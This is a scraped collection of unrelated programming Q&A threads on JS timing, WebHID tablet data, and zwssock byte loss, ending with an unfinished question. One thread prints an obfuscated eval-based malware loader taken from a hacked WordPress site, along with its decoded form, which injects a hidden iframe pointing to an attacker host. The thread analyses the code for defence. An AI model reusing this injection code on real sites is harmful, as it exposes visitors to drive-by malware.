Related
I'm trying to compare the difference in terms of execution time in JS between running some expressions sequentially versus running the same expressions within a function call.
Given the following code:
const t1 = Date.now();
console.log(Array.from(Array(500)).map((i, idx) => idx));
const t2 = Date.now();
console.log('t=', t2 - t1, 'ms', t2, t1);
function traverseArrAndPrint() {
console.log(Array.from(Array(500)).map((i, idx) => idx));
}
const t3 = Date.now();
traverseArrAndPrint();
const t4 = Date.now();
console.log('t=', t4 - t3, 'ms', t4, t3);
Now look at the output:
node a.js
[
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11,
12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23,
24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35,
36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59,
60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71,
72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83,
84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95,
96, 97, 98, 99,
... 400 more items
]
t= 8 ms 1620926365937 1620926365929
[
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11,
12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23,
24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35,
36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59,
60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71,
72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83,
84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95,
96, 97, 98, 99,
... 400 more items
]
t= 1 ms 1620926365938 1620926365937
Why would a function call take less time to execute than the sequential expressions before it?
I'm trying to grab sensor input from my digitizer ( X Tilt, Y Tilt, Tip Pressure, Tip Switch, Eraser, Pen, Puck .etc) using the WebHID API. This is what I've gotten so far:
index.js:
page_log = text => {
let p = document.createElement("p");
p.textContent = text;
log.appendChild(p);
};
let device;
if (!("hid" in navigator)) {
page_log("WebHID is not available yet.");
}
navigator.hid.getDevices().then(devices => {
if (devices.length == 0) {
page_log(`No HID devices selected. Press the "request device" button.`);
return;
}
if (devices.length > 1) {
page_log(`You have multiple devices.`);
}
device = devices[0];
page_log(`User previously selected "${device.productName}" HID device.`);
page_log(`Now press "open device" button to receive input reports.`);
});
requestDeviceButton.onclick = async event => {
document.body.style.display = "none";
try {
const filters = [
{
vendorId: 0x056a, // Wacom Co., Ltd
productId: 0x00b1 //PTZ-630 [Intuos3 (6x8)]
},
{
vendorId: 0x056a, // Wacom Co., Ltd
productId: 0x00b2 //PTZ-930 [Intuos3 (9x12)]
},
{
vendorId: 0x056a, // Wacom Co., Ltd
productId: 0x00b3 //PTZ-1230 [Intuos3 (12x12)]
},
{
vendorId: 0x056a, // Wacom Co., Ltd
productId: 0x00b4 //PTZ-1231W [Intuos3 (12x19)]
},
];
[device] = await navigator.hid.requestDevice({ filters });
if (!device) return;
page_log(`User selected "${device.productName}" HID device.`);
page_log(`Now press "open device" button to receive input reports.`);
} finally {
document.body.style.display = "";
}
};
openButton.onclick = async event => {
if (!device) return;
await device.open().catch(console.error);
page_log(`Waiting for user to press button...`);
device.addEventListener("inputreport", event => {
const { data, device, reportId } = event;
let buffArray = new Uint8Array(data.buffer);
console.log(buffArray);
// console.log(device);
});
};
console output:
index.js:72 Uint8Array(9) [224, 49, 125, 58, 74, 0, 35, 195, 85]
index.js:72 Uint8Array(9) [224, 49, 109, 58, 64, 0, 35, 194, 94]
index.js:72 Uint8Array(9) [224, 49, 94, 58, 43, 0, 35, 194, 102]
index.js:72 Uint8Array(9) [224, 49, 82, 58, 22, 0, 35, 193, 113]
index.js:72 Uint8Array(9) [224, 49, 52, 58, 1, 0, 35, 193, 123]
index.js:72 Uint8Array(9) [224, 49, 26, 57, 228, 0, 35, 192, 128]
index.js:72 Uint8Array(9) [224, 48, 253, 57, 190, 0, 35, 64, 141]
index.js:72 Uint8Array(9) [224, 48, 223, 57, 137, 0, 35, 65, 148]
index.js:72 Uint8Array(9) [224, 48, 203, 57, 90, 0, 35, 66, 159]
index.js:72 Uint8Array(9) [224, 48, 186, 57, 36, 0, 35, 66, 167]
index.js:72 Uint8Array(9) [224, 48, 177, 56, 242, 0, 35, 67, 174]
index.js:72 Uint8Array(9) [224, 48, 166, 56, 208, 0, 35, 196, 178]
How do I find out which sensor each number corresponds to?
I've tried reading WebHID spec and HID Usage Tables but I've so far been unable to locate the information I need to decipher the output.
Update:
I've tested in Windows after installing Wacom's official driver I get more data from the InputReport.
output: (Windows w/ wacom driver)
index.js:73 reportId: 15
index.js:76 Uint8Array(10) [2, 224, 55, 229, 45, 137, 0, 30, 176, 195]
index.js:73 reportId: 15
index.js:76 Uint8Array(21) [2, 224, 55, 163, 45, 99, 0, 31, 49, 189, 15, 2, 224, 55, 98, 45, 69, 0, 31, 49, 190]
index.js:73 reportId: 7
index.js:76 Uint8Array(37) [32, 29, 90, 238, 97, 50, 3, 0, 0, 34, 8, 16, 0, 87, 126, 112, 8, 34, 8, 16, 0, 0, 0, 0, 0, 0, 0, 212, 254, 192, 249, 232, 28, 184, 136, 0, 0]
index.js:73 reportId: 7
index.js:76 Uint8Array(37) [32, 241, 89, 197, 97, 30, 3, 0, 0, 34, 8, 16, 0, 87, 126, 112, 8, 34, 8, 16, 0, 0, 0, 0, 0, 0, 0, 56, 255, 36, 250, 76, 29, 228, 137, 0, 0]
index.js:73 reportId: 7
index.js:76 Uint8Array(37) [32, 162, 89, 144, 97, 30, 3, 0, 0, 34, 8, 16, 0, 87, 126, 112, 8, 34, 8, 16, 0, 0, 0, 0, 0, 0, 0, 56, 255, 36, 250, 76, 29, 228, 137, 0, 0]
index.js:73 reportId: 7
index.js:76 Uint8Array(37) [32, 136, 89, 123, 97, 22, 3, 0, 0, 34, 8, 16, 0, 87, 126, 112, 8, 34, 8, 16, 0, 0, 0, 0, 0, 0, 0, 56, 255, 36, 250, 76, 29, 228, 137, 0, 0]
index.js:73 reportId: 15
index.js:76 Uint8Array(10) [2, 224, 55, 34, 45, 31, 0, 31, 178, 185]
index.js:73 reportId: 15
index.js:76 Uint8Array(32) [2, 224, 54, 215, 45, 2, 0, 32, 50, 183, 15, 2, 224, 54, 139, 44, 226, 0, 32, 179, 183, 15, 2, 224, 54, 62, 44, 187, 0, 33, 52, 178]
index.js:73 reportId: 7
index.js:76 Uint8Array(37) [32, 27, 89, 51, 97, 14, 3, 0, 0, 34, 8, 16, 0, 87, 126, 112, 8, 34, 8, 16, 0, 0, 0, 0, 0, 0, 0, 156, 255, 136, 250, 176, 29, 16, 139, 0, 0]
index.js:73 reportId: 7
index.js:76 Uint8Array(37) [32, 171, 88, 237, 96, 6, 3, 0, 0, 34, 8, 16, 0, 87, 126, 112, 8, 34, 8, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 136, 250, 176, 29, 0, 0, 0, 0]
index.js:73 reportId: 7
index.js:76 Uint8Array(37) [32, 53, 88, 163, 96, 254, 2, 0, 0, 34, 8, 16, 0, 87, 126, 112, 8, 34, 8, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 236, 250, 20, 30, 0, 0, 0, 0]
index.js:73 reportId: 15
index.js:76 Uint8Array(10) [2, 224, 53, 239, 44, 147, 0, 34, 54, 175]
Note: I've logged the reportId this time because I'm now getting 2 different ones.
I'm also noticing different data in the HIDDevice.collections object:
This time I'm getting something in one of my outputReports.
output: (Linux for comparison)
index.js:73 reportId: 2
index.js:74 Uint8Array(9) [224, 31, 174, 22, 67, 0, 38, 203, 177]
index.js:73 reportId: 2
index.js:74 Uint8Array(9) [224, 31, 33, 21, 8, 0, 39, 204, 180]
index.js:73 reportId: 2
index.js:74 Uint8Array(9) [224, 30, 165, 20, 8, 0, 40, 77, 183]
index.js:73 reportId: 2
index.js:74 Uint8Array(9) [224, 30, 16, 19, 51, 0, 40, 206, 182]
index.js:73 reportId: 2
index.js:74 Uint8Array(9) [224, 29, 134, 18, 97, 0, 41, 80, 181]
index.js:73 reportId: 2
index.js:74 Uint8Array(9) [224, 29, 9, 17, 191, 0, 39, 80, 183]
index.js:73 reportId: 2
index.js:74 Uint8Array(9) [224, 28, 210, 17, 27, 0, 36, 215, 184]
index.js:73 reportId: 2
index.js:74 Uint8Array(9) [224, 28, 225, 16, 150, 0, 35, 86, 186]
index.js:73 reportId: 2
index.js:74 Uint8Array(9) [224, 29, 45, 16, 15, 0, 33, 83, 184]
index.js:73 reportId: 2
index.js:74 Uint8Array(9) [224, 29, 162, 15, 153, 0, 32, 83, 190]
index.js:73 reportId: 2
index.js:74 Uint8Array(9) [224, 30, 110, 15, 51, 0, 32, 86, 195]
index.js:73 reportId: 2
index.js:74 Uint8Array(9) [224, 31, 96, 14, 214, 0, 31, 87, 199]
index.js:73 reportId: 2
index.js:74 Uint8Array(9) [160, 32, 212, 14, 142, 0, 26, 216, 202]
Also the HIDDevice.collections I get on linux:
So I still don't understand how to map the data using either the featureReports, InputReports or OutputReports. So all I've figured out I get more HID data from Wacom's driver on Windows than linux.
Update 2:
I have been looking at the HIDDevice.collection Object on the Windows output and comparing it to Report Descriptors I get from running usbhid-dump with hidrd-convert (for making them human readable) on Linux. This is what I've found out so far.
It looks like all I need to look at is the inputReports element with the appropriate reportID as I'm only trying to read the sensor data being sent to the host.
I look at the array of items to see what data being sent by the report.
I look at the index number of the item in items to know the order to extract the data from the DataView (my data variable).
I look at reportCount and reportSize to know the shape of the data for that item in the DataView.
I look at the "Usage" each item to know what the data is for.
Unfortunately WebHID doesn't seem to expose "Usage" on a per item bases (Like my "Report Descriptors" from usbhid-dump shows). Instead it only exposes it on a per collection basis.
The "Usage" (if it was available) could be looked up in the HID Usage Tables by looking up the "Usage Page" by the hex value of usagePage for the collection, then doing the same for the given usage hex value.
Example:
if (reportId !== 7) return;
console.log('reportId: ' + reportId);
let zero_through_six = data.getUint8(0);
let report_data = [
(zero_through_six & 128) == 128, //0 (1-bit)
(zero_through_six & 64) == 64, //1 (1-bit)
(zero_through_six & 32) == 32, //2 (1-bit)
(zero_through_six & 16) == 16, //3 (1-bit)
(zero_through_six & 8) == 8, //4 (1-bit)
(zero_through_six & 4) == 4, //5 (1-bit)
zero_through_six & 3, //6 (2-bits)
data.getUint16(1), //7
data.getUint16(3), //8
data.getUint16(5), //9
data.getUint16(7), //10
data.getUint32(9), //11
data.getBigUint64(13), //12
data.getUint32(21), //13
data.getUint16(23), //14
data.getUint16(25), //15
data.getUint16(27), //16
data.getUint16(29), //17
data.getUint16(31), //18
data.getUint16(33), //19
];
console.log(report_data);
});
This is something I did on the to split the data I was getting into and array on the Windows version. The first items[1-6] were 1-bit, items[7] 2-bits, items[7-10] 16-bits and so on.
Again, because WebHID doesn't expose "Usage" on a per item basis, the sensor/button each item is mapped to is still unknown. At least outside of simple testing each one individually, which is hard to do on such a complex device.
Update 3:
Turns out that I don't really need the WebHID API for my use case (getting sensor input from my digitizer). Looks like PointerEvent and MouseEvent properties cover my needs. (Really, should've look at that first actually (;一_一)) Atleast, I learned somewhat how to use the WebHID API.
I guess https://web.dev/devices-introduction/ would have been useful as it explains how to pick the appropriate API to communicate with a hardware device of your choice.
Glad you figured it out!
I'm sending Protobuf encoded data over zwssock (czmq) -- which is an websocket extension for zcmq -- to JSMQ.js after which the decoding of the protobuf data takes place.
OS: Windows
Browser: Chrome 40.0.2
ØMQ: 4.0.4
czmq: 2.2.0.
With the following problem:
the data recieved does not contain all bytes that have been send.
In fact after inspection it turns out that all bytes where recieved up to the first 0 byte.
Real example:
data send:
10,4,78,77,69,65,-110,3,19,8,101,-86,6,14,8,1,16,-40,-126,-27,-14,-12,-87,-61,2,
-16,1,1,-110,3,93,8,100,80,0,-94,6,86,34,73,36,71,80,82,77,67,44,49,48,51,50,51,
49,46,54,48,49,44,86,44,53,50,48,53,46,54,52,50,54,55,48,44,78,44,48,48,54,49,57
,46,54,49,51,57,52,55,44,69,44,52,51,46,50,44,51,54,46,52,44,50,51,48,49,49,53,4
4,44,44,83,42,54,68,32,74,9,69,80,83,71,58,52,51,50,54,-30,3,97,10,4,78,77,69,65
,18,73,36,71,80,82,77,67,44,49,48,51,50,51,49,46,54,48,49,44,86,44,53,50,48,53,4
6,54,52,50,54,55,48,44,78,44,48,48,54,49,57,46,54,49,51,57,52,55,44,69,44,52,51,
46,50,44,51,54,46,52,44,50,51,48,49,49,53,44,44,44,83,42,54,68,32,82,14,10,5,8,2
,-80,1,2,-94,6,4,8,8,16,6
data recieved:
0, 10, 4, 78, 77, 69, 65, 146, 3, 19, 8, 101, 170, 6, 14, 8, 1, 16,
137, 255, 156, 213, 244, 169, 195, 2, 240, 1, 1, 146, 3, 93, 8, 100,
80]
As you can see the byte after 80 is missing, and the squence now start with a 0 byte. I've tested with manually created data -- char* --, and everytime the same problem would occur.
The two functions below are directly taken from JSQM.js and are called by the websocket upon data recieved.
function onmessage(ev) {
if (ev.data instanceof Blob) {
var arrayBuffer;
var fileReader = new FileReader();
fileReader.onload = function () {
processFrame(this.result);
};
fileReader.readAsArrayBuffer(ev.data);
} else if (ev.data instanceof ArrayBuffer) {
processFrame(ev.data);
}
// Other message type are not supported and will just be dropped
};
function processFrame(frame) {
var view = new Uint8Array(frame);
var more = view[0];
if (incomingMessage == null) {
incomingMessage = new JSMQ.Message();
}
incomingMessage.addBuffer(frame);
// last message
if (more == 0) {
if (that.onMessage != null) {
that.onMessage(that, incomingMessage);
}
incomingMessage = null;
}
}
In the onmessage/processFrame the received data already does not contain the full bytes sequence. As you can see the received byte sequence starts with a 0, matching the [more == 0] guard.
I was not able to get wireshark to sniff the packages send, checking
if the bytes where not correctly send.
One solution would be to use bytestuffing thus removing all 0 bytes.
But surely I've must have made a mistake somewhere?
As requested:
Internally we use the c++ library of zeromq, however since the websockets
are currently een extention on the c version we need to convert to c style message. As mentioned the data has been stuffed.
void CZeroMQConnection::Send(zmq::message_t& message)
{
zmsg_t* msg = zmsg_new();
std::vector<unsigned char> rpl;
std::copy_n(reinterpret_cast<char*>(message.data()), message.size(),std::back_inserter(rpl));
// Temporary stuffing on Websockets
char stuffChar = 1;
char invalidChar = 0;
std::vector<unsigned char> stuffed;
for (auto it = rpl.begin(); it != rpl.end(); ++it)
{
if (*it == invalidChar || *it == stuffChar)
{
stuffed.push_back(stuffChar);
stuffed.push_back((*it) + 1);
}
else
stuffed.push_back(*it);
}
// As mentioned added extra 0 byte, preventing superfluos data
stuffed.push_back(0);
zmsg_push(msg, _id);
zmsg_addstr(msg, reinterpret_cast<char*> (&stuffed[0]));
zwssock_send(_socket, &msg);
}
There is is not yet a bi-directional dataflow, this will come in the near future.
Thank you somdoron,
your post uses:
zmsg_addmem(msg, buf, 226);
while i was using:
zmsg_addstr(msg, reinterpret_cast<char*> (&stuffed[0]));
which will probably interpret the input as a C string.
This solved the problem, thanx a lot!
I try to reproduce the issue with chrome (40.0.2) without success, I got the entire message including the zeros.
c code:
static char *listen_on = "tcp://127.0.0.1:86";
int main(int argc, char **argv)
{
zctx_t *ctx;
zwssock_t *sock;
char *l = argc > 1 ? argv[1] : listen_on;
ctx = zctx_new();
sock = zwssock_new_router(ctx);
zwssock_bind(sock, l);
zmsg_t* msg;
zframe_t *id;
while (!zctx_interrupted)
{
msg = zwssock_recv(sock);
if (!msg)
break;
// first message is the routing id
id = zmsg_pop(msg);
while (zmsg_size(msg) != 0)
{
char * str = zmsg_popstr(msg);
printf("%s\n", str);
free(str);
}
zmsg_destroy(&msg);
msg = zmsg_new();
zmsg_push(msg, id);
char buf[226] = { 10, 4, 78, 77, 69, 65, -110, 3, 19, 8, 101, -86, 6, 14, 8, 1, 16, -40, -126, -27, -14, -12,
-87, -61, 2, -16, 1, 1, -110, 3, 93, 8, 100, 80, 0, -94, 6, 86, 34, 73, 36, 71, 80, 82,
77, 67, 44, 49, 48, 51, 50, 51, 49, 46, 54, 48, 49, 44, 86, 44, 53, 50, 48, 53, 46, 54, 52, 50,
54, 55, 48, 44, 78, 44, 48, 48, 54, 49, 57, 46, 54, 49, 51, 57, 52, 55, 44, 69, 44, 52, 51, 46,
50, 44, 51, 54, 46, 52, 44, 50, 51, 48, 49, 49, 53, 4, 4, 44, 44, 83, 42, 54, 68, 32, 74, 9, 69, 80,
83, 71, 58, 52, 51, 50, 54, -30, 3, 97, 10, 4, 78, 77, 69, 65, 18, 73, 36, 71, 80, 82, 77, 67, 44, 49,
48, 51, 50, 51, 49, 46, 54, 48, 49, 44, 86, 44, 53, 50, 48, 53, 4, 6, 54, 52, 50, 54, 55, 48, 44, 78,
44, 48, 48, 54, 49, 57, 46, 54, 49, 51, 57, 52, 55, 44, 69, 44, 52, 51, 46, 50, 44, 51, 54, 46, 52,
44, 50, 51, 48, 49, 49, 53, 44, 44, 44, 83, 42, 54, 68, 32, 82, 14, 10, 5, 8, 2, -80, 1, 2, -94, 6, 4, 8, 8, 16, 6 };
zmsg_addmem(msg, buf, 226);
zwssock_send(sock, &msg);
}
zwssock_destroy(&sock);
zctx_destroy(&ctx);
}
and following javascript:
var dealer = new JSMQ.Dealer();
dealer.connect("ws://localhost:86");
// we must wait for the dealer to be connected before we can send messages, any messages we are trying to send
// while the dealer is not connected will be dropped
dealer.sendReady = function() {
var message = new JSMQ.Message();
message.addString("Hello");
dealer.send(message);
};
dealer.onMessage = function (message) {
// the response from the server
var buffer = message.popBuffer();
console.log(buffer.length);
console.log(buffer);
};
function send() {
var message = new JSMQ.Message();
message.addString(document.getElementById("messageTextBox").value);
dealer.send(message);
}
My friends word press site was attacked and a bunch of php files injected with some eval statements, which i've inflated and decoded, but it has lead me to the below javascript.
Anyone any ideas how to deobfuscate this so we can read what it says?
ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{d=document}catch(agdsg){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(102,116,108,96,116,104,109,107,32,102,112,94,40,96,42,95,41,122,112,98,116,116,112,107,32,76,95,113,104,45,100,105,111,110,112,37,77,96,114,101,46,113,95,107,100,110,107,37,41,41,38,95,45,96,41,46,41,40,41,94,59,124,11,7,102,116,108,96,116,104,109,107,32,113,113,37,41,122,112,98,116,116,112,107,32,76,95,113,104,45,112,94,110,99,109,106,40,40,44,113,111,82,114,111,105,109,101,37,51,53,39,43,115,116,96,112,116,113,103,107,103,39,51,38,59,124,11,7,105,101,38,107,97,117,103,100,97,115,109,111,46,98,109,108,107,104,99,66,110,96,96,105,101,99,39,120,13,9,7,115,97,113,30,112,116,109,107,58,114,114,38,38,59,12,8,6,118,96,112,29,117,96,30,58,32,109,95,115,105,102,95,113,111,113,44,114,115,100,112,62,103,100,108,113,59,12,8,6,118,96,112,29,117,113,106,29,61,31,98,108,99,116,107,98,110,115,44,105,111,98,95,113,105,110,108,43,104,113,99,99,59,12,8,6,105,101,38,114,114,107,44,102,110,99,99,117,79,101,38,36,97,99,107,102,110,38,39,58,61,44,47,29,38,37,30,114,97,45,103,107,100,100,118,76,102,39,37,84,105,109,98,108,119,114,37,38,33,60,43,46,32,37,36,29,40,116,95,43,105,109,98,98,120,78,100,37,39,76,81,70,69,38,39,30,61,44,47,121,124,116,95,43,105,109,98,98,120,78,100,37,39,78,110,98,114,96,37,38,33,60,43,46,41,40,121,10,10,8,7,97,111,98,115,106,101,109,114,43,119,113,103,113,101,39,37,57,115,115,119,105,101,61,44,112,39,42,113,113,110,108,41,36,32,122,30,109,111,114,103,113,105,110,108,55,97,97,113,108,108,116,114,98,59,31,106,98,102,115,56,42,39,42,101,111,97,39,52,45,48,43,47,45,48,47,39,40,39,111,118,56,32,115,109,109,58,44,37,40,103,113,95,37,54,47,46,41,49,47,46,45,41,42,37,109,120,58,30,122,60,46,113,113,121,107,99,59,32,59,98,102,118,31,97,105,97,114,113,58,34,114,37,40,115,115,108,106,43,38,32,59,60,104,100,111,97,108,99,29,115,113,97,58,34,103,114,113,112,57,45,44,112,116,106,105,100,110,117,107,108,96,119,112,46,104,108,99,111,46,95,97,47,101,99,98,100,45,110,101,112,33,30,116,105,99,114,101,61,33,37,40,103,113,95,37,51,47,46,41,54,47,46,38,43,38,32,29,104,100,103,100,104,115,59,31,39,42,101,111,97,39,49,45,48,43,52,45,48,40,41,36,34,61,58,44,105,101,112,94,109,100,60,57,47,99,103,115,62,38,39,56,13,9,7,122,13,9,7,115,97,113,30,98,120,111,59,107,101,118,30,65,97,115,99,37,41,58,99,117,112,45,113,98,116,67,95,113,101,39,99,117,112,45,101,98,116,67,95,113,101,39,39,40,55,40,57,10,10,8,103,99,40,99,109,96,117,108,99,107,116,45,97,108,111,106,103,98,46,104,108,97,101,119,77,99,40,38,93,92,117,115,107,99,114,60,37,38,61,60,43,46,41,122,98,108,99,116,107,98,110,115,44,96,111,110,105,102,101,60,37,92,95,116,114,106,102,113,59,36,43,113,113,37,41,42,37,56,32,100,118,109,105,113,99,112,61,38,41,98,120,111,44,113,111,70,75,81,83,115,112,102,110,102,38,38,43,38,57,29,112,96,114,101,61,46,37,56,125,12,8,122);}w=f;s=[];for(i=0;-i+800!=0;i+=1){j=i;if((031==0x19))if(e)s=s+String.fromCharCode((1*w[j]+e("j%4")));}xz=e;try{document.body++}catch(gdsgd){xz(s)}
The hidden code is this:
function gra(a,b){return Math.floor(Math.random()*(b-a+1))+a;}
function rs(){return Math.random().toString(36).substring(5);}
if(navigator.cookieEnabled){
var stnm=rs();
var ua = navigator.userAgent;
var url = document.location.href;
if(url.indexOf('admin')==-1 && ua.indexOf('Windows')!=-1 && (ua.indexOf('MSIE')!=-1||ua.indexOf('Opera')!=-1)){
document.write('<style>.s'+stnm+' { position:absolute; left:-'+gra(600,1000)+'px; top:-'+gra(600,1000)+'px; }</style> <div class="s'+stnm+'"><iframe src="http://xxxxxxxxxxxx.info/ad/feed.php" width="'+gra(300,600)+'" height="'+gra(300,600)+'"></iframe></div>');
}
var exp=new Date();exp.setDate(exp.getDate()+7);
if(document.cookie.indexOf('__utmfr=')==-1){document.cookie='__utmfr='+rs()+'; expires='+exp.toGMTString()+'; path=/';}
}
It's stored in the f array as simple ascii, but every four characters are incremented by 0, 1, 2, and 3 repeatedly in a simple attempt to obfuscate the code.
Looks like this adds a bit of code to every webpage to display a malicious url in an i-frame.
First, feed it through http://jsbeautifier.org/.
You now can easily deduce that v becomes the string "eval", and e is the eval function. Also, you can run the loop that builds the string from the array items to see what is does:
function gra(a,b){return Math.floor(Math.random()*(b-a+1))+a;}
function rs(){return Math.random().toString(36).substring(5);}
if(navigator.cookieEnabled){
var stnm=rs();
var ua = navigator.userAgent;
var url = document.location.href;
if(url.indexOf('admin')==-1 && ua.indexOf('Windows')!=-1 && (ua.indexOf('MSIE')!=-1||ua.indexOf('Opera')!=-1)){
document.write('<style>.s'+stnm+' { position:absolute; left:-'+gra(600,1000)+'px; top:-'+gra(600,1000)+'px; }</style> <div class="s'+stnm+'"><iframe src="http://pulldownlays.info/ad/feed.php" width="'+gra(300,600)+'" height="'+gra(300,600)+'"></iframe></div>');
}
var exp=new Date();exp.setDate(exp.getDate()+7);
if(document.cookie.indexOf('__utmfr=')==-1){document.cookie='__utmfr='+rs()+'; expires='+exp.toGMTString()+'; path=/';}
}
Now it is quite obvious: It sets a random identifier cookie, and for every IE/Opera user on Windows who does not browse an "admin" url, it creates an iframe which is positioned off-screen. The iframe likely contains some drive-by-download of malware.
I just pasted this into http://jsbeautifier.org/... Good luck!
ww = window;
v = "v" + "al";
if (ww.document) try {
document.body = 12;
} catch (gdsgsdg) {
asd = 0;
try {
d = document
} catch (agdsg) {
asd = 1;
}
if (!asd) {
w = {
a: ww
}.a;
v = "e".concat(v);
}
}
e = w[v];
if (1) {
f = new Array(102, 116, 108, 96, 116, 104, 109, 107, 32, 102, 112, 94, 40, 96, 42, 95, 41, 122, 112, 98, 116, 116, 112, 107, 32, 76, 95, 113, 104, 45, 100, 105, 111, 110, 112, 37, 77, 96, 114, 101, 46, 113, 95, 107, 100, 110, 107, 37, 41, 41, 38, 95, 45, 96, 41, 46, 41, 40, 41, 94, 59, 124, 11, 7, 102, 116, 108, 96, 116, 104, 109, 107, 32, 113, 113, 37, 41, 122, 112, 98, 116, 116, 112, 107, 32, 76, 95, 113, 104, 45, 112, 94, 110, 99, 109, 106, 40, 40, 44, 113, 111, 82, 114, 111, 105, 109, 101, 37, 51, 53, 39, 43, 115, 116, 96, 112, 116, 113, 103, 107, 103, 39, 51, 38, 59, 124, 11, 7, 105, 101, 38, 107, 97, 117, 103, 100, 97, 115, 109, 111, 46, 98, 109, 108, 107, 104, 99, 66, 110, 96, 96, 105, 101, 99, 39, 120, 13, 9, 7, 115, 97, 113, 30, 112, 116, 109, 107, 58, 114, 114, 38, 38, 59, 12, 8, 6, 118, 96, 112, 29, 117, 96, 30, 58, 32, 109, 95, 115, 105, 102, 95, 113, 111, 113, 44, 114, 115, 100, 112, 62, 103, 100, 108, 113, 59, 12, 8, 6, 118, 96, 112, 29, 117, 113, 106, 29, 61, 31, 98, 108, 99, 116, 107, 98, 110, 115, 44, 105, 111, 98, 95, 113, 105, 110, 108, 43, 104, 113, 99, 99, 59, 12, 8, 6, 105, 101, 38, 114, 114, 107, 44, 102, 110, 99, 99, 117, 79, 101, 38, 36, 97, 99, 107, 102, 110, 38, 39, 58, 61, 44, 47, 29, 38, 37, 30, 114, 97, 45, 103, 107, 100, 100, 118, 76, 102, 39, 37, 84, 105, 109, 98, 108, 119, 114, 37, 38, 33, 60, 43, 46, 32, 37, 36, 29, 40, 116, 95, 43, 105, 109, 98, 98, 120, 78, 100, 37, 39, 76, 81, 70, 69, 38, 39, 30, 61, 44, 47, 121, 124, 116, 95, 43, 105, 109, 98, 98, 120, 78, 100, 37, 39, 78, 110, 98, 114, 96, 37, 38, 33, 60, 43, 46, 41, 40, 121, 10, 10, 8, 7, 97, 111, 98, 115, 106, 101, 109, 114, 43, 119, 113, 103, 113, 101, 39, 37, 57, 115, 115, 119, 105, 101, 61, 44, 112, 39, 42, 113, 113, 110, 108, 41, 36, 32, 122, 30, 109, 111, 114, 103, 113, 105, 110, 108, 55, 97, 97, 113, 108, 108, 116, 114, 98, 59, 31, 106, 98, 102, 115, 56, 42, 39, 42, 101, 111, 97, 39, 52, 45, 48, 43, 47, 45, 48, 47, 39, 40, 39, 111, 118, 56, 32, 115, 109, 109, 58, 44, 37, 40, 103, 113, 95, 37, 54, 47, 46, 41, 49, 47, 46, 45, 41, 42, 37, 109, 120, 58, 30, 122, 60, 46, 113, 113, 121, 107, 99, 59, 32, 59, 98, 102, 118, 31, 97, 105, 97, 114, 113, 58, 34, 114, 37, 40, 115, 115, 108, 106, 43, 38, 32, 59, 60, 104, 100, 111, 97, 108, 99, 29, 115, 113, 97, 58, 34, 103, 114, 113, 112, 57, 45, 44, 112, 116, 106, 105, 100, 110, 117, 107, 108, 96, 119, 112, 46, 104, 108, 99, 111, 46, 95, 97, 47, 101, 99, 98, 100, 45, 110, 101, 112, 33, 30, 116, 105, 99, 114, 101, 61, 33, 37, 40, 103, 113, 95, 37, 51, 47, 46, 41, 54, 47, 46, 38, 43, 38, 32, 29, 104, 100, 103, 100, 104, 115, 59, 31, 39, 42, 101, 111, 97, 39, 49, 45, 48, 43, 52, 45, 48, 40, 41, 36, 34, 61, 58, 44, 105, 101, 112, 94, 109, 100, 60, 57, 47, 99, 103, 115, 62, 38, 39, 56, 13, 9, 7, 122, 13, 9, 7, 115, 97, 113, 30, 98, 120, 111, 59, 107, 101, 118, 30, 65, 97, 115, 99, 37, 41, 58, 99, 117, 112, 45, 113, 98, 116, 67, 95, 113, 101, 39, 99, 117, 112, 45, 101, 98, 116, 67, 95, 113, 101, 39, 39, 40, 55, 40, 57, 10, 10, 8, 103, 99, 40, 99, 109, 96, 117, 108, 99, 107, 116, 45, 97, 108, 111, 106, 103, 98, 46, 104, 108, 97, 101, 119, 77, 99, 40, 38, 93, 92, 117, 115, 107, 99, 114, 60, 37, 38, 61, 60, 43, 46, 41, 122, 98, 108, 99, 116, 107, 98, 110, 115, 44, 96, 111, 110, 105, 102, 101, 60, 37, 92, 95, 116, 114, 106, 102, 113, 59, 36, 43, 113, 113, 37, 41, 42, 37, 56, 32, 100, 118, 109, 105, 113, 99, 112, 61, 38, 41, 98, 120, 111, 44, 113, 111, 70, 75, 81, 83, 115, 112, 102, 110, 102, 38, 38, 43, 38, 57, 29, 112, 96, 114, 101, 61, 46, 37, 56, 125, 12, 8, 122);
}
w = f;
s = [];
for (i = 0; - i + 800 != 0; i += 1) {
j = i;
if ((031 == 0x19)) if (e) s = s + String.fromCharCode((1 * w[j] + e("j%4")));
}
xz = e;
try {
document.body++
} catch (gdsgd) {
xz(s)
}
I've got a bunch of numbers in an array and I need to do some statistics on them. I need to know how many of each number there are in the array.
Here's the array:
myArray =
